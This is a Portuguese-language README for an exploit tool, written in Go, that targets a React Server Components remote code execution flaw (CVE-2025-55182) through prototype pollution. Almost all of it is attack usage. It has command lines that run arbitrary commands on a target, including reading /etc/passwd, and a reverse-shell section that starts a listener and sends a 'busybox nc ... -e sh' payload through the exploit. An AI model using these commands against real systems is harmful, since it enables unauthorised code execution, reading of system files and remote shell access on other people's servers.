CVE-2025-55182 — RCE em React Server Components

Exploit para RCE em React Server Components via poluição de protótipo.

Uso

go run main.go -t <target> -c <command>

Exemplos

go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"

Shell reverso

Configure o shell reverso

penelope -i 0.0.0.0 -p 1337

Use o busybox:

go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"

Compilar

go build -o exploit .

Notas

• HTTPS é adicionado automaticamente se o protocolo estiver faltando
• A saída do comando é codificada em base64 na resposta
• Redirecionamentos estão intencionalmente desabilitados